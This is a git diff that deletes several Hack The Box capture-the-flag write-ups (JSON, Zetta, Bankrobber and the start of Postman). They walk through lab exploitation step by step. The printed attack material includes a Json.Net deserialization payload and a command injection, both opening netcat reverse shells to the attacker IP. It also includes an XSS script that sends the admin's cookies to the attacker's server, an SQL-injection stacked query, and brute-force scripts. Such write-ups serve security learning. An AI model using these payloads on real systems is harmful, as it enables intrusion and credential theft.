`/api/Account` endpoint, I see it also sends the same base64 encoded value in the `Bearer` header: - -![](/assets/images/htb-writeup-json/bearer.png) - -I'll modify the `Bearer` header and see if I can make it error out. To start with, I'll use the following payload which is invalid JSON: - -`echo '{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3",thisisinvalid___aaaaaaa}' | base64 -w0` - -![](/assets/images/htb-writeup-json/json500.png) - -Ahah! So now I know that the web application is deserializing the `Bearer` content using the Json.Net library. I remember reading about deserialization vulnerabilities recently during my OSWE studies. There was also another HTB box called Arkham who used a deserialization vulnerability but with Java. - -There's a nice tool already written that generates deserialization payloads using gadgets found in common librairies and frameworks. For this box, I'll use the ObjectDataProvider gadget with the Json.net formatter. I'll attempt to get a reverse shell by executing netcat through an SMB share on my box. - -``` -ysoserial.exe -g ObjectDataProvider -f json.net -c "\\\\10.10.14.21\\pwn\\nc.exe -e cmd.exe 10.10.14.21 4444" -o raw -{ - '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', - 'MethodName':'Start', - 'MethodParameters':{ - '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', - '$values':['cmd','/c \\\\10.10.14.21\\pwn\\nc.exe -e cmd.exe 10.10.14.21 4444'] - }, - 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} -} -``` - -I'll need to base64 encode the payload so I use the -o base64 flag instead: - -``` -ysoserial.exe -g ObjectDataProvider -f json.net -c "\\\\10.10.14.21\\pwn\\nc.exe -e cmd.exe 10.10.14.21 4444" -o base64 -ew0KICAgI[...]Dg5J30NCn0= -``` - -When I send the payload in the `Bearer` I still get a 500 error message... - -![](/assets/images/htb-writeup-json/shell500.png) - -But a few seconds after I get a callback on my SMB server then a shell after: - -![](/assets/images/htb-writeup-json/shell.png) - -My user is `userpool` and he has the user.txt flag in his desktop folder: - -![](/assets/images/htb-writeup-json/user.png) - -## Privesc unintended method - -First, let's check which Windows version the machine is running. - -``` -c:\windows\system32\inetsrv>systeminfo | findstr Windows -OS Name: Microsoft Windows Server 2012 R2 Datacenter -``` - -Next, I see that my user has `SeImpersonatePrivilege` privileges. - -``` -c:\windows\system32\inetsrv>whoami /priv - -PRIVILEGES INFORMATION ----------------------- - -Privilege Name Description State -============================= ========================================= ======== -SeAssignPrimaryTokenPrivilege Replace a process level token Disabled -SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled -SeAuditPrivilege Generate security audits Disabled -SeChangeNotifyPrivilege Bypass traverse checking Enabled -SeImpersonatePrivilege Impersonate a client after authentication Enabled -SeIncreaseWorkingSetPrivilege Increase a process working set Disabled -``` - -This is pretty much game over at that point due to the good old Rotten/Juicy Potato exploit that works prior to Windows Server 2019. If we have `SeImpersonatePrivilege` privileges then we can easily escalate to NT AUTHORITY\SYSTEM. - -![](/assets/images/htb-writeup-json/potato.png) - -![](/assets/images/htb-writeup-json/root.png) - -### Privesc using Sync2Ftp - -Now on to the intended way to root this box. There's an application called Sync2Ftp running on the system which has a configuration file with encrypted credentials: - -``` -Directory of c:\Program Files\Sync2Ftp - -05/23/2019 03:06 PM . -05/23/2019 03:06 PM .. -05/23/2019 02:48 PM 9,728 SyncLocation.exe -05/23/2019 03:08 PM 591 SyncLocation.exe.config - 2 File(s) 10,319 bytes - 2 Dir(s) 62,217,244,672 bytes free -``` - -```xml - - - - - - - - - - - - - - - - -``` - -When I try to base64 decode the user and password blobs I only get gibberish so it's probably encrypted with the SecurityKey somehow. I'll copy the exe file over then disassemble it to find out how the encryption works. - -The file is a .Net assembly so I'll use dnspy to disassemble this. It'll be much easier then reversing a C application since I can get the C# source code instead of assembly. - -``` -root@kali:~/htb/json# file SyncLocation.exe -SyncLocation.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows -``` - -The `copy` method takes the parameters from the config file and calls the `Crypto.Decrypt` method. - -![](/assets/images/htb-writeup-json/dnspy1.png) - -In the `Decrypt` method, the highlighted `if` branch is taken since the useHashing parameter was passed as true from the calling method. The key used by the 3DES decryption routine is derived from the MD5 hash of the provided SecurityKey. - -![](/assets/images/htb-writeup-json/dnspy2.png) - -I have all the pieces I need to decrypt the credentials: I got the ciphertext, the encryption cipher used, the encryption key and the source code to make my life easier. I'll create a new .Net project and copy parts of the code I need to decypt the credentials. - -```c# -using System; -using System.Configuration; -using System.Security.Cryptography; -using System.Text; - -namespace JsonDecrypt -{ - class Program - { - static void Main(string[] args) - { - Console.WriteLine(Decrypt("4as8gqENn26uTs9srvQLyg==", true)); - Console.WriteLine(Decrypt("oQ5iORgUrswNRsJKH9VaCw==", true)); - } - - public static string Decrypt(string cipherString, bool useHashing) - { - byte[] array = Convert.FromBase64String(cipherString); - string s = "_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"; - byte[] key; - if (useHashing) - { - MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider(); - key = md5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(s)); - md5CryptoServiceProvider.Clear(); - } - else - { - key = Encoding.UTF8.GetBytes(s); - } - TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider(); - tripleDESCryptoServiceProvider.Key = key; - tripleDESCryptoServiceProvider.Mode = CipherMode.ECB; - tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7; - ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor(); - byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length); - tripleDESCryptoServiceProvider.Clear(); - return Encoding.UTF8.GetString(bytes); - } - } -} -``` - -![](/assets/images/htb-writeup-json/proj1.png) - -Got the `superadmin` username and the `funnyhtb` password. - -Tried connecting with WinRM but failed: - -``` -root@kali:/opt/evil-winrm# ./evil-winrm.rb -u superadmin -p funnyhtb -i 10.10.10.158 - -Info: Starting Evil-WinRM shell v1.6 - -Info: Establishing connection to remote endpoint - -Error: Can't establish connection. Check connection params - -Error: Exiting with code 1 -``` - -Tried psexec and failed: - -``` -root@kali:/opt/evil-winrm# psexec superadmin:funnyhtb@10.10.10.158 cmd.exe -Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation - -[*] Requesting shares on 10.10.10.158..... -[-] share 'ADMIN$' is not writable. -[-] share 'C$' is not writable. -``` - -WMI exec too... - -``` -root@kali:/opt/evil-winrm# /usr/share/doc/python-impacket/examples/wmiexec.py json/superadmin:funnyhtb@10.10.10.158 cmd.exe -Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation - -[*] SMBv3.0 dialect used -[-] rpc_s_access_denied -``` - -FTP lets me in though and I can fetch the flag: - -``` -root@kali:/opt/evil-winrm# ftp 10.10.10.158 -Connected to 10.10.10.158. -220-FileZilla Server 0.9.60 beta -220-written by Tim Kosse (tim.kosse@filezilla-project.org) -220 Please visit https://filezilla-project.org/ -Name (10.10.10.158:root): superadmin -331 Password required for superadmin -Password: -230 Logged on -Remote system type is UNIX. -ftp> ls -200 Port command successful -150 Opening data channel for directory listing of "/" -... -ftp> cd Desktop -250 CWD successful. "/Desktop" is current directory. -ftp> ls -200 Port command successful -150 Opening data channel for directory listing of "/Desktop" --r--r--r-- 1 ftp ftp 282 May 22 2019 desktop.ini --r--r--r-- 1 ftp ftp 32 May 22 2019 root.txt -226 Successfully transferred "/Desktop" -``` diff --git a/_posts/2020-02-22-htb-writeup-zetta.md b/_posts/2020-02-22-htb-writeup-zetta.md deleted file mode 100644 index abdecf6e39..0000000000 --- a/_posts/2020-02-22-htb-writeup-zetta.md +++ /dev/null @@ -1,250 +0,0 @@ ---- -layout: single -title: Zetta - Hack The Box -excerpt: "Zetta is another amazing box by [jkr](https://twitter.com/ateamjkr). The first part was kinda tricky because you had to pay attention to the details on the webpage and spot the references to IPv6 that lead you to the EPTR command to disclose the IPv6 address of the server. Then there's some light bruteforcing of rsync's credentials with a custom bruteforce script and finally a really cool SQL injection in a syslog PostgreSQL module." -date: 2020-02-22 -classes: wide -header: - teaser: /assets/images/htb-writeup-zetta/zetta_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - ipv6 - - rsync - - sqli - - postgresql ---- - -![](/assets/images/htb-writeup-zetta/zetta_logo.png) - -Zetta is another amazing box by [jkr](https://twitter.com/ateamjkr). The first part was kinda tricky because you had to pay attention to the details on the webpage and spot the references to IPv6 that lead you to the EPTR command to disclose the IPv6 address of the server. Then there's some light bruteforcing of rsync's credentials with a custom bruteforce script and finally a really cool SQL injection in a syslog PostgreSQL module. - -## Summary - -- Obtain FTP credentials from the main webpage -- Disclose the IPv6 address of the server by using the `EPTR` command -- Find the rsync service available on IPv6 only -- Find a hidden module for `/etc` and recover the rsyncd.conf file -- Find another hidden module for `home_roy` and brute force the password -- Drop my SSH public key in `roy` home directory and get a shell -- Find `.tudu.xml` file containing a few hints -- Find the SQL query executed to insert syslog messages in the database and the syslog facility used to test the database -- Discover SQL injection in the query and use stacked query to write my SSH public key to PostgreSQL home directory -- SSH in as postgres and view the psql history file to find the postgres user password -- Find that the root password is based on the postgres password and the hint from the todo file (password scheme) - -### Portscan - -![](/assets/images/htb-writeup-zetta/nmap.png) - -### First pass at checking the FTP site - -I can't log in as anonymous on the FTP site: - -![](/assets/images/htb-writeup-zetta/ftp1.png) - -### Zetta website - -The website is a generic company website without any dynamic components. Everything is static on this page and the contact form is not functional since it points to the anchor. - -![](/assets/images/htb-writeup-zetta/web1.png) - -In the services section, it mentions that they support native FTP and FXP, as well as RFC2428. RFC2428 describes the standard for *FTP Extensions for IPv6 and NATs*. - -![](/assets/images/htb-writeup-zetta/web2.png) - -Further down on the page there are FTP credentials shown in cleartext: - -![](/assets/images/htb-writeup-zetta/web3.png) - -Username: `O5Pnd3a9I8rt6h9gL6DUWhv1kwpV2Jff` -Password: `O5Pnd3a9I8rt6h9gL6DUWhv1kwpV2Jff` - -### Disclosing the server IPv6 address - -I can log in to the FTP server with the credentials from the page but I don't see any files or anything interesting. - -![](/assets/images/htb-writeup-zetta/ftp2.png) - -I remember from the main page that the server supports IPv6 but I don't have the IPv6 address. I could find the IP by pinging the box from another one on the same LAN calculating the IPv6 based based on the MAC address but instead I will use the `EPRT` command to force a connection back to my machine over IPv6 and find the source IP. - -According to [https://tools.ietf.org/html/rfc2428](https://tools.ietf.org/html/rfc2428): - -``` - The following are sample EPRT commands: - - EPRT |1|132.235.1.2|6275| - - EPRT |2|1080::8:800:200C:417A|5282| -``` - -![](/assets/images/htb-writeup-zetta/ftp3.png) - -I recovered the IPv6 address: `dead:beef::250:56ff:feb2:9d22` - -### Portscanning IPv6 - -I'll add the address to my local hostfile and then portscan the IPv6 address: - -![](/assets/images/htb-writeup-zetta/nmap2.png) - -So there's an rsync service running on port 8730. - -### Rsync enumeration - -I'll list the available modules with `rsync rsync://zetta.htb:8730`: - -![](/assets/images/htb-writeup-zetta/rsync1.png) - -I tried all modules in the list but I get unauthorized access every time: - -![](/assets/images/htb-writeup-zetta/rsync2.png) - -I tried a couple of directories that are not in the list and was able to access `/etc/`: - -![](/assets/images/htb-writeup-zetta/rsync3.png) - -I'll just sync all the files to my local machine so I can examine them: - -![](/assets/images/htb-writeup-zetta/rsync4.png) - -The `rsyncd.conf` file locks down access to the various directories shown in the list and only allows access from `104.24.0.54`: - -``` -[...] -# Allow backup server to backup /opt -[opt] - comment = Backup access to /opt - path = /opt - # Allow access from backup server only. - hosts allow = 104.24.0.54 -[...] -``` -However at the bottom there is a module that I haven't found before: - -``` -# Syncable home directory for .dot file sync for me. -# NOTE: Need to get this into GitHub repository and use git for sync. -[home_roy] - path = /home/roy - read only = no - # Authenticate user for security reasons. - uid = roy - gid = roy - auth users = roy - secrets file = /etc/rsyncd.secrets - # Hide home module so that no one tries to access it. - list = false -``` - -Unfortunately I can't get access to the secrets file `/etc/rsyncd.secrets`: - -``` -root@kali:~/htb/zetta/tmp# rsync rsync://zetta.htb:8730/etc/rsyncd.secrets . -[]...] -rsync: send_files failed to open "/rsyncd.secrets" (in etc): Permission denied (13) -rsync error: some files/attrs were not transferred (see previous errors) (code 23) at main.c(1677) [generator=3.1.3] -``` - -I'll try to bruteforce the password by using a simple bash loop. I use the `sshpass` program to pass the password to the interactive logon: - -```sh -#!/bin/bash - -for p in $(cat /opt/SecLists/Passwords/Leaked-Databases/rockyou-10.txt) -do - sshpass -p $p rsync -q rsync://roy@zetta.htb:8730/home_roy - if [[ $? -eq 0 ]] - then - echo "Found password: $p" - exit - fi -done -``` - -After a few seconds I'm able to recover the password: `computer` - -![](/assets/images/htb-writeup-zetta/brute.png) - -### Getting a shell - -The password works and I can access roy's home directory: - -![](/assets/images/htb-writeup-zetta/shell1.png) - -The password `computer` doesn't work over SSH (since rsync uses a separate authentication database), but I can just upload my SSH keys and then SSH in. - -![](/assets/images/htb-writeup-zetta/shell2.png) - -### Privesc - -The home directory contains a data file for the `tudu` application: - -> TuDu is a commandline tool to manage hierarchical TODO lists, so that you can organize everything you have to do in a simple and efficient way. It does not use any database backend, but plain XML files. - -![](/assets/images/htb-writeup-zetta/root1.png) - -The tudu file contains a couple of hints: - -![](/assets/images/htb-writeup-zetta/root2.png) - -![](/assets/images/htb-writeup-zetta/root3.png) - -![](/assets/images/htb-writeup-zetta/root4.png) - -- There is a shared password scheme used, this could be useful later when I find more credentials -- The syslog events are pushed to a PostgreSQL database -- There's a reference to a git dotfile - -Looking around the box, I find a few git repos: - -``` -roy@zetta:~$ find / -type d -name .git 2>/dev/null -/etc/pure-ftpd/.git -/etc/nginx/.git -/etc/rsyslog.d/.git -``` - -The repos for pure-ftpd and nginx are not very interesting, but the rsyslog one has a few hints in the last commit: - -![](/assets/images/htb-writeup-zetta/root5.png) - -- There's a template configured to insert the syslog message into the syslog_lines table -- The database credentials are shown below -- There's a comment about using `local7.info` for testing - -I tried logging in with the credentials but they didn't work. I think this is because the file has been edited but not committed to the git repo yet. I can't read the `pgsql.conf` file so I don't have the latest credentials. - -![](/assets/images/htb-writeup-zetta/root6.png) - -The log files in `/var/log/postgresql` contain error logs related to PostgreSQL: - -![](/assets/images/htb-writeup-zetta/root7.png) - -Based on the hint in the git commit, I can use `local7.info` to send syslog messages into the database. I see that I can trigger an error by using a single quote: - -![](/assets/images/htb-writeup-zetta/root8.png) - -Even though the template escapes the single quotes to `\'`, it still presents an SQL injection vector. I can't just close the single quote and do a stacked query because the insert expects two values. So what I'll do is insert the right values using `$$` as replacement for single quotes, then issue a 2nd command using `COPY` to deliver my SSH public key in the `postgres` home directory: - -`logger -p local7.info "', \$\$2019-08-31 23:37:22\$\$); copy (select \$\$SSH_KEY_CONTENTS\$\$) to \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$ --; "` - -![](/assets/images/htb-writeup-zetta/root9.png) - -After looking around for a while I find the `postgres` password in the psql history file: `sup3rs3cur3p4ass`: - -``` -postgres@zetta:~$ cat /var/lib/postgresql/.psql_history -CREATE DATABASE syslog; -\c syslog -CREATE TABLE syslog_lines ( ID serial not null primary key, CustomerID bigint, ReceivedAt timestamp without time zone NULL, DeviceReportedTime timestamp without time zone NULL, Facility smallint NULL, Priority smallint NULL, FromHost varchar(60) NULL, Message text, NTSeverity int NULL, Importance int NULL, EventSource varchar(60), EventUser varchar(60) NULL, EventCategory int NULL, EventID int NULL, EventBinaryData text NULL, MaxAvailable int NULL, CurrUsage int NULL, MinUsage int NULL, MaxUsage int NULL, InfoUnitID int NULL , SysLogTag varchar(60), EventLogType varchar(60), GenericFileName VarChar(60), SystemID int NULL); -\d syslog_lines -ALTER USER postgres WITH PASSWORD 'sup3rs3cur3p4ass@postgres'; -``` - -There was a hint in the tudu file about a shared password scheme. The password scheme is `@userid` so I'll try `sup3rs3cur3p4ass@root` and see if I can su to root: - -![](/assets/images/htb-writeup-zetta/root.png) \ No newline at end of file diff --git a/_posts/2020-03-07-htb-writeup-bankrobber.md b/_posts/2020-03-07-htb-writeup-bankrobber.md deleted file mode 100644 index 56b9184104..0000000000 --- a/_posts/2020-03-07-htb-writeup-bankrobber.md +++ /dev/null @@ -1,365 +0,0 @@ ---- -layout: single -title: Bankrobber - Hack The Box -excerpt: "Bankrobber is a web app box with a simple XSS and SQL injection that we have to exploit in order to get the source code of the application and discover a command injection vulnerability in the backdoor checker page that's only reachable from localhost. By using the XSS to make a local request to that page, we can get land a shell on the box. To get root, we exploit a buffer in an application to override the name of the binary launched by the program." -date: 2020-03-07 -classes: wide -header: - teaser: /assets/images/htb-writeup-bankrobber/bankrobber_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - xss - - sqli - - ssfr - - command injection - - brute force - - buffer overflow ---- - -![](/assets/images/htb-writeup-bankrobber/bankrobber_logo.png) - -Bankrobber is a web app box with a simple XSS and SQL injection that we have to exploit in order to get the source code of the application and discover a command injection vulnerability in the backdoor checker page that's only reachable from localhost. By using the XSS to make a local request to that page, we can get land a shell on the box. To get root, we exploit a buffer in an application to override the name of the binary launched by the program. - -## Summary - -- The Transfer E-coin form contains an XSS vulnerability in the comment field -- We can grab the administrator username and password and then log in to the site -- There's an SQL injection in the "Search users" function which we can use to dump the database and read files from the box -- Using the XSS, we can turn it into an SSRF and get access to the "Backdoorchecker" page which is only accessible by the localhost -- After getting the Backdoorchecker source code with the SQLi, we find a command injection vulnerability -- Using the injection vulnerability, we can pop a shell with netcat and get the first flag -- There's a custom binary running a banking app on port 910 which we bruteforce to get the PIN -- Once we have the PIN, we exploit a buffer overflow to execute an arbitrary program and get a shell as root - -## Portscan - -``` -root@kali:~/htb/bankrobber# nmap -T4 -sC -sV -p- 10.10.10.154 -Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-21 15:01 EDT -Nmap scan report for bankrobber.htb (10.10.10.154) -Host is up (0.052s latency). -Not shown: 65531 filtered ports -PORT STATE SERVICE VERSION -80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4) -|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4 -|_http-title: E-coin -443/tcp open ssl/http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4) -|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4 -|_http-title: E-coin -| ssl-cert: Subject: commonName=localhost -| Not valid before: 2009-11-10T23:48:47 -|_Not valid after: 2019-11-08T23:48:47 -|_ssl-date: TLS randomness does not represent time -| tls-alpn: -|_ http/1.1 -445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) -3306/tcp open mysql MariaDB (unauthorized) -Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows - -Host script results: -|_clock-skew: mean: 1h00m06s, deviation: 0s, median: 1h00m06s -|_smb-os-discovery: ERROR: Script execution failed (use -d to debug) -| smb-security-mode: -| authentication_level: user -| challenge_response: supported -|_ message_signing: disabled (dangerous, but default) -| smb2-security-mode: -| 2.02: -|_ Message signing enabled but not required -| smb2-time: -| date: 2019-09-21T20:03:12 -|_ start_date: 2019-09-21T20:00:52 - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 144.62 seconds -``` - -## SMB - -SMB is not reachable through null or guest sessions: - -``` -root@kali:~/htb/bankrobber# smbmap -u invalid -H 10.10.10.154 -[+] Finding open SMB ports.... -[!] Authentication error occured -[!] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.) -[!] Authentication error on 10.10.10.154 -root@kali:~/htb/bankrobber# smbmap -u '' -H 10.10.10.154 -[+] Finding open SMB ports.... -[!] Authentication error occured -[!] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.) -[!] Authentication error on 10.10.10.154 -``` - -## MySQL - -MySQL is not accessible remotely: - -``` -root@kali:~/htb/bankrobber# mysql -h 10.10.10.154 -u root -p -Enter password: - -ERROR 1130 (HY000): Host '10.10.14.19' is not allowed to connect to this MariaDB server -``` - -## Web enumeration - -The website is a web application that allows users to buy E-coin cryptocurrency. - -![](/assets/images/htb-writeup-bankrobber/web1.png) - -I can create an account by following the Register link. - -![](/assets/images/htb-writeup-bankrobber/web2.png) - -After logging in I have the option of transferring funds to another user and to leave a comment. - -![](/assets/images/htb-writeup-bankrobber/web3.png) - -When I transfer funds, I get a popup message saying the admin will review the transaction. This screams XSS to me because there's a comment field that the admin will see and if it's not sanitized correctly I'll be able to inject javascript code in his browser session. - -![](/assets/images/htb-writeup-bankrobber/web4.png) - -## Exploiting the XSS - -My XSS payload in the comments field is very simple: `` - -This'll make the admin browser download a javascript file from my machine and execute its code. - -The `xss.js` will steal the session cookies from the admin and send them to my webserver. - -```javascript -function pwn() { - var img = document.createElement("img"); - img.src = "http://10.10.14.19/xss?=" + document.cookie; - document.body.appendChild(img); -} -pwn(); -``` - -After a few minutes I get two connections. The first downloads the javascript payload and the second one is the connection from the script with the admin cookies. - -![](/assets/images/htb-writeup-bankrobber/xss1.png) - -The cookies contains the admin's username and password Base64 encoded: - -- Username: `admin` -- Password: `Hopelessromantic` - -## Exploiting the SQLi - -Once logged in as administrator, I see that there's a list of transactions, a search function for users and a backdoorchecker. - -![](/assets/images/htb-writeup-bankrobber/web5.png) - -The backdoorchecker is only accessible from the localhost because it returns the following message when I try any commands: `It's only allowed to access this function from localhost (::1). This is due to the recent hack attempts on our server.` - -The search function contains an obvious SQL injection since I get the following error after sending a single quote: `There is a problem with your SQL syntax` - -This should be easy to exploit with sqlmap. - -I'll save one of the POST request from the search field in a `search.req` file: - -``` -POST /admin/search.php HTTP/1.1 -Host: bankrobber.htb -User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 -Accept: */* -Accept-Language: en-US,en;q=0.5 -Accept-Encoding: gzip, deflate -Referer: http://bankrobber.htb/admin/ -Content-type: application/x-www-form-urlencoded -Content-Length: 6 -Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D -Connection: close -``` - -Then I run `sqlmap -r search.req` to start testing for injection points. As expected it quickly finds the injection point: - -![](/assets/images/htb-writeup-bankrobber/sql1.png) - -## Exploring with sqlmap - -First I'll check which user the webapp is running as on the MySQL server: `sqlmap -r search.req --current-user` - -``` -current user: 'root@localhost' -``` - -I'm root so I should be able to get the passwords hashes with: `sqlmap -r search.req --passwords` - -``` -[*] pma [1]: - password hash: NULL -[*] root [1]: - password hash: *F435725A173757E57BD36B09048B8B610FF4D0C4 -``` - -A quick search online shows the password for this hash is: `Welkom1!` - -![](/assets/images/htb-writeup-bankrobber/hash1.png) - -Nice but that doesn't really help me for now. Next I'll get the source code of various PHP files in the web app. This is a Windows box running Apache and PHP so I'm probably looking at a XAMPP stack. A quick search online shows the default base directory for XAMPP is: `C:/xampp/htdocs` - -I can use the `--file-read` flag in sqlmap to read files: - -`sqlmap -r search.req --file-read '/xampp/htdocs/index.php'` -`sqlmap -r search.req --file-read '/xampp/htdocs/admin/search.php'` -`sqlmap -r search.req --file-read '/xampp/htdocs/admin/backdoorchecker.php'` - -The `backdoorchecker.php` is interesting because it contains an injection vulnerability in the system() function. There's some filtering done on the provided `cmd` parameter: it has to start with `dir` and can't contain `$(` or `&`. But that's not enough to prevent injecting commands. Source code shown below: - -```php - This is due to the recent hack attempts on our server."; - } - } -} else{ - echo "You are not allowed to use this function!"; -} -?> -``` - -## Turning the XSS into an SSRF - -As I found earlier I can't reach the `backdoorchecker.php` file from my own machine but I can use the same XSS to turn it into a SSRF. I'll need to change my javascript payload to generate a POST request to the backdoor checker page with the right parameters. After some trial an error I found that `dir|\\\\10.10.14.19\\test\\nc.exe 10.10.14.19 7000 -e cmd.exe"` payload works to execute netcat over SMB and get a shell. - -```javascript -function pwn() { - document.cookie = "id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D"; - var uri ="/admin/backdoorchecker.php"; - xhr = new XMLHttpRequest(); - xhr.open("POST", uri, true); - xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); - xhr.send("cmd=dir|\\\\10.10.14.19\\test\\nc.exe 10.10.14.19 7000 -e cmd.exe"); -} -pwn(); -``` - -![](/assets/images/htb-writeup-bankrobber/shell1.png) - -``` -C:\xampp\htdocs\admin>type c:\users\cortin\desktop\user.txt -f6353466... -``` - -## Privesc using bank transfer application - -There's something odd running on port 910... - -![](/assets/images/htb-writeup-bankrobber/root1.png) - -I also see a `bankv2.exe` file in the system root directory but I can't read it. - -![](/assets/images/htb-writeup-bankrobber/root2.png) - -I generated an metasploit reverse shell payload, uploaded it then created a port forward for this port: - -``` -meterpreter > portfwd add -l 910 -p 910 -r 127.0.0.1 -[*] Local TCP relay created: :910 <-> 127.0.0.1:910 -``` - -I can reach the application now on port 910 but I don't have a valid PIN: - -![](/assets/images/htb-writeup-bankrobber/root3.png) - -I tried checking for buffer overflows but couldn't crash the program so I likely have to brute force the PIN first. I made a quick script to brute force the PIN: - -```python -#!/usr/bin/python - -from pwn import * -import time -import sys - -i = int(sys.argv[1]) -j = int(sys.argv[2]) -while True: - m = "" - if i < j: - pin = str(i).zfill(4) - p = remote("127.0.0.1", 910) - try: - p.recvuntil("[$]", timeout=30) - p.sendline("%s" % pin) - except EOFError: - print("Retry on %d" % i) - continue - try: - m = p.recvline(timeout=10) - print m - except EOFError: - print("Retry on %d" % i) - continue - if "Access denied, disconnecting client" not in m: - print m - exit(0) - print "Doing ... " + str(i) - i = i + 1 - else: - print("We're done.") - exit(0) - p.close() -``` - -Thankfully the PIN was a low number so I didn't have to search the entire PIN space: `0021` - -![](/assets/images/htb-writeup-bankrobber/brute.png) - -When I log in with the PIN, I can transfer coins and I see that the `transfer.exe` command is executed: - -![](/assets/images/htb-writeup-bankrobber/bof1.png) - -If I send a large string I can see there's a buffer overflow present in the program since I no longer see the `transfer.exe` and it's replaced by some characters that submitted in the amount field. - -![](/assets/images/htb-writeup-bankrobber/bof2.png) - -The offset is 32 bytes as shown below: - -![](/assets/images/htb-writeup-bankrobber/bof3.png) - -Note that whatever is overflowing from the amount variable gets into the name of the program that is executed after. So I can simply replace the executed program by a meterpreter payload I uploaded: - -![](/assets/images/htb-writeup-bankrobber/bof4.png) - -My meterpreter gets executed and I get a shell as NT AUTHORITY\SYSTEM - -![](/assets/images/htb-writeup-bankrobber/bof5.png) - -``` -meterpreter > cat /users/admin/desktop/root.txt -aa65d8e... -``` \ No newline at end of file diff --git a/_posts/2020-03-14-htb-writeup-postman.md b/_posts/2020-03-14-htb-writeup-postman.md deleted file mode 100644 index 75ee4b5667..0000000000 --- a/_posts/2020-03-14-htb-writeup-postman.md +++ /dev/null @@ -1,275 +0,0 @@ ---- -layout: single -title: Postman - Hack The Box -excerpt: "Postman was a somewhat frustrating box because we had to find the correct user directory where to write our SSH key using the unprotected Redis instance. I expected to be able to use a wordlist to scan through /home and find a valid user but on this box the redis user was configured with a valid login shell so I had to guess that and write my SSH key to /var/lib/redis/.ssh instead. The rest of the box was pretty straightforward, crack some SSH private key then pop a root shell with a Webmin CVE." -date: 2020-03-14 -classes: wide -header: - teaser: /assets/images/htb-writeup-postman/postman_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - redis - - webmin - - ssh ---- - -![](/assets/images/htb-writeup-postman/postman_logo.png) - -Postman was a somewhat frustrating box because we had to find the correct user directory where to write our SSH key using the unprotected Redis instance. I expected to be able to use a wordlist to scan through /home and find a valid user but on this box the redis user was configured with a valid login shell so I had to guess that and write my SSH key to /var/lib/redis/.ssh instead. The rest of the box was pretty straightforward, crack some SSH private key then pop a root shell with a Webmin CVE. - -## Summary - -- Use the unauthenticated Redis server to write our SSH public key to the redis user's authorized_keys file -- From the redis user shell, discover the private key for user Matt inside /opt directory and crack it with john -- Use Matt's credentials to log in to Webmin and exploit CVE-2019-12840 to get a shell as root - -## Portscan - -The ports show the box is running SSH, Apache, Redis and Webmin: - -``` -root@kali:~# nmap -sC -sV -p- 10.10.10.160 -Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-13 16:33 EDT -Nmap scan report for 10.10.10.160 -Host is up (0.019s latency). -Not shown: 65531 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) -| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) -|_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) -80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) -|_http-server-header: Apache/2.4.29 (Ubuntu) -|_http-title: The Cyber Geek's Personal Website -6379/tcp open redis Redis key-value store 4.0.9 -10000/tcp open http MiniServ 1.910 (Webmin httpd) -|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 52.76 seconds -``` - -## Website - -The website is currently under construction and there is nothing on it, except a possible email address at the bottom. - -![](/assets/images/htb-writeup-postman/website1.png) - 